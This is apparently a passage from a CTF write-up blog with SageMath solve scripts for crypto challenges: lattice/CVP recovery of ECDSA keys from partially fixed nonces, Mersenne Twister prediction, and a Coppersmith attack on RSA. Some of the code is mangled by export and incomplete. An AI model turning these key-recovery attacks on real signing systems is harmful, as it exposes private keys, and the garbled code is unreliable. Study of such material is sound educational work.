    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
 
= 238351830708404244219528012300346183698089704036958197073088590986781126046128139277876261847918986388464392075919752504036124478387675086320279831883061575773130731731512289308600548817918823754759741014480607490178191084213685771095081699
params = [[6172144681482249919102241290221732015313763389738784671051231003933641047772826421768174589186320089337803458199766489452275665899287350169335342506340065510519410797024900969144263201542965830579229871404323577793409021234362593354092041938215859743437160276358618194105173963536621422404142018824002222927344371846641995139103441786202367296704680389815780441043250270096100089370169391316241550354639472704197195039115443263083720157181161573037786722518518073244876576521645], [193846031065431615171138398907554474490243593010426445660159995023421690918389029501570918601414789147460375901577546434319012002193067152560178159337882412597981169953017381602553449608161376011387225337945790490301205500988070592667260307182624605832152240064165962388331595893516884552600324435147374044032575325900262356701606616541732441503871912325334315545721127713601115727804588364391211951651086408749934094159068720206922998283686393892033283362379079277585875317733125], [186116431294956584507622251083552464237708766317037184701883695099192545170797758914491959325056548294443112027689221562090922906211642613451222485059412249593287539268632182815867453113262026976033832305075048778306269837158521655897206104188291640755725711120730552161550568363878329035151394705358843149734090074525252662747799270008290175006002913694732659518178709233238519205580102532883270488509830279127451754878651121923932212399426641171488518541036604555898762653636767], [14769073770419338092925604251635464259163431252809312886992348718499763226318266949132454879939477850734192522871509505316678708215807987680150864086317446037666757885739819377613473418465497679258575389782360217355021067881102634318063257490919616852165947744756990575400745193091744707583913218090901120971522401412921713920030755420236486444344985420141669115268509030823280811858196495296299291522098961629224878356500400137160049480897176934761512803911650692781199738944358], [147919066213305504909474311411803269104114976277480371373734903513860210330631554119249090143860674441819199276919740940095535099825251133312941478015230935296046855247122689436697731644543102898280018067875178726421332069314230553359546674233189046301154960459915044289449599538936202863814191691219472024725663885482828960872087873090796952667099967198895490748125927000604303160065032535117589864975437392352615652017307656160862671237257143553966268386859872891179982158931538], [13745031646212926887771103525076366898061855140367447627348094520569424589936962364608246820234169073983776241922164875922628393545929977925429649776620225617026636689097094088686938946433246454600348030574125595670238566611181688648849700242626852637723346847761898432034196330200006970228231831316278507491404141071325164359383210554480496801017672657717855189744860778897395023272448045289999028710960807199386287807443723368642574520040320693565244086076826717435666078357317]]
 
# x 320 bit
 
# a1x + b1 + x^3 == y1^2 (mod p)
 
= Matrix(ZZ, 66)
lb = [0* 6
ub = [0* 6
for i in range(16):
    dif_a = (params[0][0- params[i][0]) % p 
    dif_b = (params[0][1- params[i][1]) % p 
    # -2^640 <= dif_a * x + dif_b <= 2^640 mod p
    M[0, i - 1= dif_a 
    M[i, i - 1= p
    lb[i - 1= - (1 << 640- dif_b
    ub[i - 1= (1 << 640- dif_b
M[05= 1
lb[5= 0
ub[5= 1 << 320
 
result, applied_weights, fin = solve(M, lb, ub)
 
= int(fin[0] % p)
 
 
print(long_to_bytes(x))
cs

 

Sign Wars

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad
import random
from secret import msg1, msg2, flag
 
flag = pad(flag, 96)
flag1 = flag[:48]
flag2 = flag[48:]
 
# P-384 Curve
= 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
= -3
= 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
curve = EllipticCurve(GF(p), [a, b])
order = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
Z_n = GF(order)
gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
= curve(gx, gy)
 
for b in msg1:
    assert b >= 0x20 and b <= 0x7f
z1 = bytes_to_long(msg1)
assert z1 < 2^128
 
for b in msg2:
    assert b >= 0x20 and b <= 0x7f
z2 = bytes_to_long(msg2)
assert z2 < 2^384
 
# prequel trilogy
def sign_prequel():
    d = bytes_to_long(flag1)
    sigs = []
    for _ in range(80):
        # normal ECDSA. all bits of k are unknown.
        k1 = random.getrandbits(128)
        k2 = z1
        k3 = random.getrandbits(128)
        k = (k3 << 256+ (k2 << 128+ k1
        kG = k*G
        r, _ = kG.xy()
        r = Z_n(r)
        k = Z_n(k)
        s = (z1 + r*d) / k
        sigs.append((r,s))
 
    return sigs
 
# original trilogy
def sign_original():
    d = bytes_to_long(flag2)
    sigs = []
    for _ in range(3):
        # normal ECDSA
        k = random.getrandbits(384)
        kG = k*G
        r, _ = kG.xy()
        r = Z_n(r)
        k = Z_n(k)
        s = (z2 + r*d) / k
        sigs.append((r,s))
 
    return sigs
 
 
def sign():
    sigs1 = sign_prequel()
    print(sigs1)
    sigs2 = sign_original()
    print(sigs2)
 
 
if __name__ == "__main__":
    sign()
cs

 

There are two mistakes - one is the insecure random of "prequel" which fixes the middle 128 bits, and the insecure python random which is used in the "original". The natural plan is to attack the "prequel" first using the insecure random via standard LLL, find the python random seed using some library, then directly find the random $k$ values for the "original". The latter part can be done very easily with some libraries, so we'll focus on the first one. We write the system as follows. For each 60 equations, we have $$ks \equiv z_1 + rd \pmod{n}$$ $$k \equiv s^{-1}z_1 + rs^{-1}d \pmod{n}$$ $$k_1 + z_1 \cdot 2^{128} + k_3 \cdot 2^{256} \equiv s^{-1}z_1 + rs^{-1}d \pmod{n}$$ $$ 0 \le k_1 = z_1(s^{-1} - 2^{128}) + rs^{-1}d - k_3 \cdot 2^{256} \pmod{n} < 2^{128}$$ $$0 \le z_1(s^{-1} - 2^{128}) + rs^{-1}d - k_3 \cdot 2^{256} + cn < 2^{128}$$ and now this can be plugged in CVP repository. Note that $d, z_1$ is fixed and $0 \le z_1 < 2^{128}$, $0 \le k_3 < 2^{128}$. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
 
SIG1 = [(1212292064485743641866810867743144682151196516183590625761968617000822398163361711884853686433325688334478380747253314197268540776373741177673820089672023976732299858030846681305575389640921071188098294211283607291412628404706330635), (3002331126369368291669211963190479316181270425867006372504694602838148258650845274496999419158657648115996903989253516094000621518284822857020964974522983541224425681758135622160784082988267314022122458996489586892811938506732931748), (2027436533308764899209991485588745242726572506223476812115075621073491828230532459470909544094168000667447224998016826128948049631412381227970242480771408976962602375493955244402440727109476811862753343673422200707132102306861245065), (3076893909789462689537867740132457904172072881005206061617971217925492418613994039174521463508662170009245184625747523800973758418165064781275855199658315920145808589994209139192398347876290686870300287776343940629270010735723235385), (2847355782808806197939919647313647140258504760030314269534116364072965213070704395225589990776667615259753928962831528281625820520087035698954279133768588017050298800453267610958044101108252535161164763310762642756504428205563108030), (96111825038591776450760042051057221784840677440291925480707472994358019963419494393692853436993737162471073272685724031640471683802687061395705285266808842836983869848057857017127967668008272515010890509063551366550912420338902834), (193704946542352674542172177198907607324796334433313936905604761181111396829425135645725050926896072261932019897785752433781820944268337733283393291854175920938847482642777771696759267025446311242119383222969981818996711424713151752), (307790900438940328306052761758840429759948115164727557952163123828463556821686922966788802561970338213900449971474204893123418105561169402880287889300261310663472852291300562230045024356786173678817075957809203454759484532173136896), (1464370548997752878897005811756682877124929822582596291265520815978167357819329848489020002088547358328003754411957815935318488540400173648065087608623889419958306790544362968141852933585912044021990423536612481693468915965522445032), (261908477352543630034369756839067144196954528182274466642195566095248516871821600329131886625745213584731645212703181593531527201615623099098664942415943763347197253061444470827851943278116759392933621884906245655648264221554908273), (244498345810376316933877032372457940911578208767321728981050083872632198400389747370780151731837653925273160063435431519693975000372684536588360058886155393128374920715958105917368560178529829092541542334254564649031015390295526257), (553920294437904104764581573061957085591570061092174719886601499700728562281038469677765861165835479046619855640953820332957999843652613921660609152489318731466697459198872422541589848932160246010821103577261742306246402279741839395), (2996950493431261609277357721529305432786841213159568790816413323738922899176436266168900833024446316706737741780484823502790732595477415220062415069646202303453814634558339724957279860279173977141614843448086419994681526804050994011), (2866309924603819281627357046605310388033016195472503936421539771359173108420891910940478811543983832370505735490618332343362746546345028906807296090845637927648209201182279186066312617262402540993950717856425293636562311369826695241), (378114259668423403838212284029259514249288410739437126706868292460127326345327782068294403487987383609968291779346591512161086988707363568355555539355341485927942150807857139424735463213909258176919376930783632168090029799006962452), (677901939648733525017637617731648094056289750593529294758683896640584732639268336931042233126755630495021338556240321277628400501469478914168423023057684740585069176201105893608414023541256985765180901007757435611069875893412465586), (636694892605787225107332472471564669770939624410753441199699960451848432552294141764316468048178132765012151216158931835229197999276237723592037000880402276309404799202930304320555417861589116989270114086456362377584676026798317441), (152818457096074919203698138170133773621782557087026415545348924733684101916414879995060019242876149835575543884447902984115935788221541188290047888309109458147722093547866020985007410124451071701982135991689832422756636714734848410), (172613279506093800325054154137293455068375634778023351042619031999452920462863719097645276055378442507655204604208834414083024903566067346682354660036193755195663970474589205389345245255956774402052618861533800845720100684618788066), (2328521732655547501651955233090556838292397748945623745673249625390335023352847210089094722639360957209791596959958015864787645844524123645508552473833769050437498168559566442342764983309617043514215685980718642756051823094216138112), (387356135022076175434607989020899241170301101569048454924178898854529262315094126774573646627288266038701660890487832764799580566369130997255183073579096790304637375189258729225097121531798414933779603126159724061297478107963529944), (3439768646893390838671339859311719924747740853531006387248636420575889348156707615668515812299276564466486362040844132278070177934959080616216483052122171696315094028362684579162316990518944414668141213923548802330689237360305444057), (3688859614458031007666698255437975472757969314115795303982176324632059662400207607269437636034932760515162846193834420359599307803961599163637268447617008934461534173375543520973121462531279483793982707344429872033956688432496029494), (3573194536916502452706770842219093445311442693018914717166267706112448891200948713883172559660776903622367743125439438690463610329621441610277699868091296837875356478232771729649752351130839647804626642276143604085382240751091874980), (236776286341767235699403224625642009904348835636195582608287332474315798724372682892287196602724577545774326476292675694960089075991074464290708570332306998548315951489339220678741537951501152608587055469175810163056202380723484162), (3618330448423424686611091144916753775437233330942711484414738761882902453023199118960515811334820410984598035269646523965168344478037213105641624609514777278543321778037076016154890855496855531577133265749426868642365368798849451496), (3316297858119841597499909163777521901560984347888598143136540562737698614996449339035299643290243139821499045312070017522675770165519045405383886383499046920674272323023864859028070652034097791735019059447013185908178315975726718027), (3797752428753162173126965299851844403922178856100108468144637454368058245552900666707418196583128355677060102640641234014871750340380154692206012455554620218508761966344769331999972401940089831171697348255247018267326994810496665301), (15070137818594125814602299680168716864720001627224208532926723995952135882468975785406193478565358933576272709006777123198841569413454577310078272821534024280579100722414329202844057424863366193509058084349838170744321137899380851), (1616209832575520722906318999738339661192172523554486744307112693676812049600710017408701070879398678850193345653111735843125491563878831891747420494968566047358046579202101829199006631647636438358745741154644883785641557638179703196), (2714624658766719074007669846248032735233487204263703568649913383050542492130961879573264962344316643215748544120651329374852723618836996041990307719900335299612538156861129617267376582701400599574166091116228943846822827095705431420), (2031887359655925951105553114750638254032803910121163261793989360723014699277075536635754700415444012387792727956280521880244506505391597381900288791130929029500377960791610120410522262499720103003893165761379437860585723438454338357), (267708967921714471467723506064221112349826158934345364358708998025826767081005447171738069513040067776571894275071522811216118007709181671732510261424038689262085998138698823325592895788252084744051591190795979078528619437443272430), (2824226101206804127729354011029195186496860624375536228507282831715890883481128954379854056784897518550299421561161928337300861435742639020944587343125537033416178222051556584188414720653042082343068603170738957875834942311839398955), (2131378456624223628855820954039872835845010251807303397097435508524925064368177992255282354126562018570257561286512325973923581441774490467725510310356393118571760442289368631380634139185801852675014798484820655377425355874214608838), (39722474743387833224678753149279354828125762583247646588654751770915751868505197607364770688632870112536579796950351949243324150001215851803463575673078965313534368782887187770074096642168523503805499517384914614086023503127806847), (115194448773603655564094606533709336622035330188807646579676513003777897190496227493293488796641999820017536599578119564575441055199178132952897543045993451659948447588920651596150288550414960098453945167530353880987093029030638144), (3416233573439755709122849411177744941965931436413058574520291377382841999255954246519615715461858669239342434713678534816069361672535828713924897177961374080352312052306803897119805834580104455380505473277752161016451540002438069017), (621442051897740072011504091560693618933245764995402972270318562754278315343982217293879434014128069432869786099715135036609860976357406366810820445499231048373436931375253989834911997779342195269560660560149275988782146654615055395), (1793229684848547602830782936490072235066462210306743437688048246566077688411802761589482483406252097456295069619080025284454559391441356742861992714899157880349238554132025565451660342323497911181209889041052025003714876311648649308), (1672983856235947547421295836318356042025055970229101636452105150045002610339544319863045647610397094375366915424937532346909821898954875794104426207252965578694675212598600013619876939291316966520281348030524571180602992351937324549), (1838335752460076020201947769646276640856482938963220109271139275282297520072533901119178546917432459081163275750147036650204800420829652120261290123142229312040551658496656556239024215868372978503733453573308931372634821353503537954), (1267947432684618422596552802472654776850669055037987540244270059247718762503256634328288601539397329945397034771666631594434445787142355786158780673084733603186104893515951267587710628733125154787164728421585888101421671404571441460), (146015594617351346560500075300694393947381598003145417763267986145592871411838029880690182364472506375674344047832328595065903087426074566358753005915622433302916683368431103530322432724436087166807363512661383021500064699866636573), (171219169781254557814920575829446416011205889460892358356872461647126631567728984914233721594078451888096342939412315549321728923260877275319522523938368845573355479005888471636555747793775030205015093656278438688710952666664504896), (2724785056791392598269506783449151810158471437975870332538482625008481033885087305490317376868290988631522482015184318441987213600418235028717811172592400392968984874201495657937932256496057636260779718506455774046512049959224326533), (23125206105423712170494578086460408200155706950388584751758217770641881139847092343076320949651253557057860975699290617384558916714490913646402391877958626488085682864653677413549966260928717156654411337297014822767990795093863229), (103098597960845130869494743257457422899436526011640422957987492160138167492624069785276585061696310414321820344832643401470346181096624340649421457463749621102267436616681750603386976006189520143441710738979453350404845158395485486), (1636860910560199651212365750398397690181484613558547655291446641497917517958172377882377381090433513698860734338864112887327683770298631686858909410191002874101297863064763857850276211374735131663350575035482893318627486961140493060), (1259778308671278095582910251132597733955648031445631722608405942785297574441029840046657036973972985982268209474376318143629657739573817392351951162537846408025200449845703036545707816887229856135678162116712273281752461460773286157), (181497652032123650959223655414295958041151106384607975572474256632780650577616836949634350743060831465597489108209334623808735710466757897562443056494514986872251154643072124080945722371896930429940197336707416267350592331887509370), (3668577048929245086282985467342228128865995944346814445191804275310152215812194274062839605387614408790355690267045925427602196870003078247382997147130945403862270376348600679340464766087619183853473530884327535652383782148396318369), (2640099493588732368581278558877977760480703381845978438337933663672301604198913135581370935062115063860033739774575535441443644761879722810537983899640132591168390041946180094287752185744760148684344825560100034902852843703022913572), (2154946432228594948797406083929041431729108558047064441317560370365981159968680212853966538770749257512095299097416927426668476821276280862019979056999027369355304092859933896625743859680072036382523929860072977660288769061968841056), (1794505527014900467217440720010118642673301918855722262937438722916632125324813145594458295825885108668099232771777522763432714358352994467634787642451136567944768237186044385733037319457391071748311079692136983455628393624590912773), (1967937289800612864029158307717895143560424896053727268895238506843456393322683635877770661953097591892621145409325422558450199634522395989325930989798822306499440080795289426594476903491433232767149595712438138190142613146382805102), (505380800262261364869601601223519645321339476508954599347253392076265929087900023828440114237356661035975433450311925596265678131212259962460250737224350948937567171043241527736952385125964273084970352617767438577469728391374901104), (3502153594287647766462032319356908461277726659055111072994486704513978796124659803484760711945128263317322062761752824412900363309066203864154425415165066253353692376637520978763141267068333052991517573772819303004361631432100082761), (3038234415731701452117435993859519959031310137653289407796165597610284966699441298697775752670090357383797905056974836380054077835016119489703494179753668737802402599719907220000486624011084909818429478518718710302969894134810399414), (2339245531992437462440736321841401779272634163734815428936800191955309263153942372205612803502876195576125133523139724615969593765671009089175669046441351199855489516238368580612855661905474214253402259306074086838224100682009493110), (3904341008757165884977708872364484044477311247177295807558959581723664973232536113835726847119004889089092233017311324256166337102519478716198099822063504670413826816008063467295625641151486658627000887001654580846329391802379723304), (2519830924627601748312116334886559763064353240349381571587812659439381477901293750286255788919229511082147599152994331183736084868762605705341491981967451872193027043779034558377529784073696083378450370565887268611112401715464692322), (2149037099356302626497177599318246090521586923604767030421053570689481292891440797123499582150073080022303159826625730524538483293986209920139400952501355824771895617776073345360374702907548949007510552008565834914052456239691889902), (3736667361485077644469293932842173238852712369528681943796665561567540806936691086003507420402931879994590306404852717779215295739572760353458898043288811931339150166396214780752407992014275252723707803456409767620788479105600423376), (2388090713503838916880304675690146821420618916811705890655376883071253310267087711720336146802197143926484764308755936554798683087533081747521419888907675190192122029480300791517998074362122003489313160167552894436296245959628579534), (183981661779079639387767912912968952669274419578484331391801939427668777469255908242641065097011520406512451674019233280887100325540541044876347841631022975706016854603366960877001893277240119020663116400162762880357011028194015505), (378602385328785333142378817099918031446407205321592112598026536762336804397948090519557882906177242918963142284842872079530852252634619529204167324028013909690544367420298080750988365566999876311319237386168370876748621061304030325), (3307640129491042686640872589818551735379708971463163808590465406374118577023940782710267496689773835256884585279546132388782563029207071708238813265723145823101733798639269010838632868478704546695027802504168693070745244529700498871), (1966463041699590703926849934097114735454390699131647125733097337039928918020271617918472617633399750183304700844518815010332454096306874561434765152776137424843532232617982537812287828972466131420109345949260515569323587248864746943), (2587176937268537056992582242569382062061979459821447412360051125377818579696217207320820676281874530960554073910062112733332659612677892428319839726866498876500931386736309794894873372522229292842342178191364595143966422220824826073), (1276904545508489427343652715920481690243230564401721062929678793390429578528145744888104492940203839949694018904409311594689177180251431669445510565369712938818714831055440921516382728285369019679675944135089038247905820859659761517), (18657037708713137541950069000132078455625422456750701136984818700887232362463902027994904894720793772683543062426685125550573798542551697831171912361478992101952449490976854228951650529010822626202419835861052330070344633285976669), (370966626123274631489373371713944830397209082379966421574334705675684440607390729046710166014044405337048339195442854790007747398249736115034551686542360219836448905259482276520130644298771477774260329772071196479778643314968168876), (3117063074102807746766611769092212404639773273117300156591107891113289141031890343503907441813066092229217502848516136700267333965429842826985729957565986107482356086995641315664499740118242353501066703906197210995388334971341587044), (1642930556201007004591800850299567490493201931007187276638908917493617383284743147011041715760020584091096765469510513348678473612360711357762565221644167552517488898971900250507563637477504294039445796012121832852740292220571524010), (3681499962041062465040892759310110231183228860120021277252122028074737326840783816265376983312234213819385088847931621678377395564601107395386759737337329969405189315349034054067649380849056748928922052454754064625128419150919292053), (3708020466257981141972392525055381134311806280072102034785099044237748654993241809030317925240319853932251969444427615821341762768738218228176979267566826815656142437698746345759451195866137662375460664107143767858376489559348158119), (3190066521280779465306789205099108778717473987911260315727051572260101623236197633724827993183204124475783778902246111910037530034363325480855721128870881334951395240192762039726365170413466292618778748338552446589898886095541743053), (2271323493844614485303993512171373489107410793204360295734590409512840709130302883041863022486935932227606732222822037648033797699949313050109414984677478246381964295991074283362304879984221990727828373537248000765921622593274507531), (2696664222772104507144272464548466151936888957673831175606787628766631988315697294538210447335182266903691930441183033837552398136675647634120649336283866568054003022435569393484219100126804419072284913749466938666527692475735307495)]
SIG2 = [(104963988302970955749741680788544895088752286692167192845029255333318850946725031160235419175838141287024316530813834790284668131148498252310249426530965492667679223859021102993403672099203069041205214172414075756555276490789178956), (308521846705189220600241790186572857639357745133877020761812926227235071874727796803161402053138330175335887593661335069145156217342955289020258826302551823920792084376060949622353808056721610402437441970841628302496074418474626297), (240949052653375342761658280478597822389874312193038832185544802972978616688479225589286171599738119436498444684450209328776074819457901331657355801560516363178058099225535915537394781684440774078985119798155365962514386879323530606)]
 
 
= 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
= -3
= 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
curve = EllipticCurve(GF(p), [a, b])
= 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
Z_n = GF(n)
gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
= curve(gx, gy)
 
# ks == z1 + r * d mod n
# (k1 + z1 * 2^128 + k3 * 2^256)s == z1 + r * d mod n
# k1 + z1 * 2^128 + k3 * 2^256 == s^-1 (z1 + r * d) mod n
# k1 + z1 * (2^128 - s^-1) + k3 * 2^256 - s^-1 r d == 0 mod n
# -2^128 <= z1 * (2^128 - s^-1) + k3 * 2^256 - s^-1 r d mod n <= 0
 
num_sig = 20
= Matrix(ZZ, 2 * num_sig + 22 * num_sig + 2)
lb = [0* (2 * num_sig + 2)
ub = [0* (2 * num_sig + 2)
 
for i in range(num_sig):
    r, s = SIG1[i]
    M[0, i] = ((1 << 128- inverse(s, n)) % n 
    M[1, i] = (- r * inverse(s, n)) % n 
    M[2 + i, i] = 1 << 256
    M[2 + num_sig + i, i] = n 
    lb[i] = - (1 << 128)
    ub[i] = - 1
 
for i in range(num_sig):
    M[2 + i, num_sig + i] = 1
    lb[num_sig + i] = 1
    ub[num_sig + i] = 1 << 128
 
M[02 * num_sig] = 1
lb[2 * num_sig] = 1
ub[2 * num_sig] = 1 << 128
 
M[12 * num_sig + 1= 1
lb[2 * num_sig + 1= 1
ub[2 * num_sig + 1= n 
 
result, applied_weights, fin = solve(M, lb, ub)
flag1 = long_to_bytes(int(fin[1] % n))
z1 = int(fin[0] % n)
= int(fin[1] % n)
 
predictor = MT19937Predictor()
 
for i in range(80):
    r, s = SIG1[i]
    k = ((z1 + r * d) * inverse(s, n)) % n
    k1 = k & ((1 << 128- 1)
    predictor.setrandbits(k1, 128)
    k3 = k >> 256
    predictor.setrandbits(k3, 128)
 
ks = []
for i in range(3):
    ks.append(predictor.getrandbits(384))
 
d2 = ((ks[1* SIG2[1][1- ks[0* SIG2[0][1]) * inverse(SIG2[1][0- SIG2[0][0], n)) % n 
 
flag2 = long_to_bytes(int(d2))
 
print(flag1 + flag2)
cs

'CTF' 카테고리의 다른 글

CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28
N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13
TSGCTF 2021 Writeups  (0) 2021.10.03

Super Guesser played N1CTF and got 1st place, also giving us a good amount of CTFtime points.

 

checkin 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from secret import flag
 
= getPrime(512)
= getPrime(512)
= p*q
= 2021*p+1120*q
= (inverse(x,n)+x)%n
= 65537
= pow(bytes_to_long(flag), e, n)
 
print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)
 
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
 
cs

 

There must be a more efficient solution, but here's a solution that took around 5 hours. 

From $p_0$, we get a range of $p$. From this range, we can calculate the possible range of $x$. After simple calculation, we see that $$ L \le x \le R $$ where $R-L < 2^{501}$. Now since we know the equation $$x^2 - hx + 1 \equiv 0 \pmod{n}$$ we can use Coppersmith's attack with $\epsilon = 0.01$. This gives a solution that requires LLL algorithm on a matrix of size 100 x 102, taking 5 hours to run. After finding $x$, we can calculate $p, q$ with quadratic equations. Interested in a faster solution.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
    
set_verbose(2)
 
= 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
= 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
= 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618
 
p_left = p0 << 490
p_right = (p0 + 1<< 490
 
xleft = 2021 * p_left + 1120 * (n // p_left)
xright = 2021 * p_right + 1120 * (n // p_right)
 
dif = xright - xleft
 
POL = PolynomialRing(Zmod(n), 'x')
= POL.gen()
 
= (xleft + x) ** 2 - (xleft + x) * h + 1 
 
# print(f.small_roots(X = dif, beta = 1.0, epsilon = 0.01))
# 2912576656137471917598083572790822084936420051386777204728781209115923077150356900578287157481616426957057687378386181070414819714103076914618075908917
 
= xleft + 2912576656137471917598083572790822084936420051386777204728781209115923077150356900578287157481616426957057687378386181070414819714103076914618075908917
 
# 2021*p+1120*q = x
# 2021p^2 + 1120n = px 
 
= (x + inthroot(Integer(x * x - 4 * 2021 * 1120 * n), 2)) // (2 * 2021)
= n // p 
 
phi = (p - 1* (q - 1)
= inverse(65537, phi)
 
= pow(c, int(d), n)
 
print(long_to_bytes(m))
cs

 

 

n1ogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import os
import json
import time
 
from Crypto.PublicKey.RSA import import_key
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac
 
from secret import FLAG, SALT
 
 
# generated by `openssl genrsa -out n1ogin.pem 2048`
PRIV_KEY = import_key(open("n1ogin.pem""r").read())
 
# nonce for replay attack
Nonces = set()
 
 
def cal_password_hash(password):
    hash = password.encode() + SALT
    for _ in range(7777):    # enhanced secure
        digest = hashes.Hash(hashes.MD5())
        digest.update(hash)
        hash = digest.finalize()
    return hash
 
def RSA_decrypt(rsa_data):
    cc = int.from_bytes(rsa_data, 'big')
    mm = pow(cc, PRIV_KEY.d, PRIV_KEY.n)
    message = mm.to_bytes(2048//8'big')
 
    if check_PKCS1(message):
        payload = message[-48:]
    else:
        # To prevent Bleichenbacher's attack, we continue with random bytes
